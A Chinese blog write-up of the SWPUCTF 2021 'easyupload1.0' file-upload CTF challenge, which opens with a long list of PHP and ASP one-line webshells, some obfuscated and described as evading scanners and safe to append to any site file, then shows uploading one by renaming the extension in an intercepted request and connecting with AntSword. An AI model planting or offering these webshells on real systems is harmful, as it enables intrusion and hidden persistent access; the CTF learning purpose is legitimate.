首页 > 其他分享 >[SWPUCTF 2021 新生赛]easyupload1

[SWPUCTF 2021 新生赛]easyupload1

时间:2023-08-09 17:22:05浏览次数:33  
标签:easyupload1 PHP 文件 SWPUCTF 一句 2021 POST php 上传

[SWPUCTF 2021 新生赛]easyupload1.0

题目来源:nssctf

题目类型:web

涉及考点:文件上传

真服了,昨天写了wp忘记传了
最近准备学一下文件上传,就拿这道题开始吧

1. 简单介绍一下文件上传漏洞

文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。

  • 这里放一些常用的PHP一句话木马
<?php @eval($_POST['r00ts']);?> 
<?php phpinfo();?>
<?php @eval($_POST[cmd]);?>
<?php @eval($_REQUEST[cmd]);?>
<?php assert($_REQUEST[cmd]); ?>
<?php //?cmd=phpinfo() @preg_replace("/abc/e",$_REQUEST['cmd'],"abcd"); ?>
<?php 
//?cmd=phpinfo();
$func =create_function('',$_REQUEST['cmd']);
$func();
?>

<?php
//?func=system&cmd=whoami
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
//print_r($new_array);
?>

<?php 
//?cmd=phpinfo()
@call_user_func(assert,$_GET['cmd']);
?>

<?php 
//?cmd=phpinfo()
$cmd=$_GET['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
?>

<?php 
//?func=system&cmd=whoami
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
?>

<?php usort($_GET,'asse'.'rt');?> php环境>=<5.6才能用
<?php usort(...$_GET);?>  php环境>=5.6才能用
<?php eval($_POST1);?> 
<?php if(isset($_POST['c'])){eval($_POST['c']);}?> 
<?php system($_REQUEST1);?> 
<?php ($_=@$_GET1).@$_($_POST1)?> 
<?php eval_r($_POST1)?> 
<?php @eval_r($_POST1)?>//容错代码 
<?php assert($_POST1);?>//使用Lanker一句话客户端的专家模式执行相关的PHP语句 
<?$_POST['c']($_POST['cc']);?> 
<?$_POST['c']($_POST['cc'],$_POST['cc'])?> 
<?php @preg_replace("/[email]/e",$_POST['h'],"error");?>/*使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入*/:<O>h=@eval_r($_POST1);</O> 
<?php echo `$_GET['r']` ?> 

<script language="php">@eval_r($_POST[sb])</script> //绕过<?限制的一句话

<?php (])?>   上面这句是防杀防扫的!网上很少人用!可以插在网页任何ASP文件的最底部不会出错,比如 index.asp里面也是可以的!

<?if(isset($_POST['1'])){eval($_POST['1']);}?><?php system ($_REQUEST[1]);?> 
加了判断的PHP一句话,与上面的ASP一句话相同道理,也是可以插在任何PHP文件 的最底部不会出错!

<%execute request(“class”)%><%'<% loop <%:%><%'<% loop <%:%><%execute request (“class”)%><%execute request(“class”)'<% loop <%:%> 
无防下载表,有防下载表可尝试插入以下语句突破的一句话 

<%eval(request(“1″)):response.end%> 备份专用

2. 接下来看题目,题目给了一个上传入口,先直接传个一句话木马试试

<?php @eval($_POST['r00ts']);?> 

这里需要传入.jpg文件,然后利用抓包修改成.php文件,原因是在前端对文件后缀名进行了过滤

可以看到已经上传成功了,接下来使用蚁剑连接:

因为是第一次使用蚁剑,这里说下基础配置:

因为上传的地址是upload,因此连接的url地址要写upload/muma.php(文件命名的是啥这里就写啥),连接密码就是POST里的东西,也是自己设置

连接成功后打开文件管理,在/app下找到了flag.php

  • 但这个flag是错误的,看大佬的wp说藏在phpinfo里,于是我们抓包进行POST传参:

注意抓包的路径和传入的参数

  • 因为昨天刚做过在phpinfo里找flag的题,所以我直接去Environment里面找了,果然找到了:
NSSCTF{836967f8-58dd-4fdf-b42b-9e315b5b44bc}

日期:2023.8.8

作者:y0Zero

标签:easyupload1,PHP,文件,SWPUCTF,一句,2021,POST,php,上传
From: https://www.cnblogs.com/bkofyZ/p/17617427.html

相关文章

  • Minitab 2021(统计分析管理软件)v21.4 (x64)中文永久使用
    Minitab是一款流行的统计分析和质量管理软件,被广泛应用于各个行业和领域。它提供了丰富的统计方法和工具,帮助用户进行数据分析、质量改进和决策制定。点击获取Minitab 首先,Minitab具备强大的数据分析功能。它支持多种数据导入方式,用户可以从Excel、SQL数据库等来源导入数据进......
  • Adobe XD 2021原型制作软件下载和安装教程
    AdobeXD是一站式UX/UI设计平台,在这款产品上面用户可以进行移动应用和网页设计与原型制作。同时它也是一款结合设计与建立原型功能,并同时提供工业级性能的跨平台设计产品。设计师使用AdobeXD可以高效准确的完成静态编译或者框架图到交互原型的转变。软件介绍从节省时间的工具中受......
  • Linux 相关,个人整理的一些零碎笔记 2021-12-13
    df-lh接下来的四个字段Size、Used、Avail、及Use%分别是该分割区的容量、已使用的大小、剩下的大小、及使用的百分比du命令:查询文件或文件夹的磁盘使用空间如果当前目录下文件和文件夹很多使用不带参数du的命令,可以循环列出所有文件和文件夹所使用的空间。这对查看究竟是......
  • 前端 Vue 应该知道的一些东西,个人笔记 2021-11-26
    前端代码编写规范及es6常用语法命名规范文件夹名称,文件名称,组件名称,统一使用大驼峰或者小横线方式命名;组件文件名:list-item.vue.或者ListItem.vue;基础的无状态的通用组件加VBaseApp前缀BaseButtonAppButton在html中<base-button>或者<BaseButton>url路径名:小......
  • GDOI2021普及组 游记
    前言众所周知,2021年是GDOI第一年有普及组,所以本蒟蒻才敢报一场比赛也异常的贵,800元不过可以去深圳游一游,还是挺期待的Day-0傍晚差不多5:30到深圳耀华实验学校,第一眼就爱上了这个学校,教学楼的实际风格十分现代化去食堂吃晚饭,这不比南外强多了?各种山珍海味,让人垂涎三尺......
  • SpringMVC的搭建idea2021、tomcat8.5
    准备环境idea2021tomcat8.0资料来源,尚硅谷的视频1、新建项目      生成pom.xml文件 3、pom.xml文件添加依赖<dependencies><!--SpringMVC--><dependency><groupId>org.springframework</groupId><artifactId>spring-webmvc</arti......
  • 洛谷 P7911 [CSP-J 2021] 网络连接 题解
    写在前面一道普及级别的题目。CSP-J全国统一命题2021年第三题。本题解来自于一位真正的大佬。传送门https://www.luogu.com.cn/blog/xyf007/solution-p7911。题面信息来源于洛谷。请访问https://www.luogu.com.cn/problem/P7911。声明:本题解非商业用途,一切侵权行为请联系作......
  • 微信红包封面,2021年为啥突然火了?
    我是架构精进之路,点击上方“关注”,坚持每天为你分享技术干货,私信我回复“01”,送你一份程序员成长进阶大礼包。  最近一段时间起,各种渠道都是领微信红包封面的活动,我也参与了几次红包封面的领取。只不过好多次都是提示:“手慢了,红包封面派完了。”让人们不禁感叹道:“抢红包要拼手速......
  • 2021中国华录杯·算法大赛直通车!
    各位小伙伴们大家好,由天津市委网信办、天津市工业和信息化局、津南区人民政府、中国华录集团主办,北京易华录信息技术股份有限公司承办的2021中国华录杯·数据湖算法大赛自启动以来获得各位小伙伴的广泛支持,现在插播几条重要通知,千万不要错过哦!报名截止时间数据引领时代,AI创造未来。......
  • [NOI2021] 路径交点 题解
    [NOI2021]路径交点题解题意给定一张\(k\)层的有向图,第\(i\)层有\(n_i\)​个顶点,第​\(1\)层与第\(k\)​层顶点数相同。对于第​​\(j\)\((1\leqj<k)\)层的顶点,只会连向第\(j+1\)层的顶点。没有边连向第\(1\)层的顶点,第\(k\)层的顶点不会向其他顶点连边......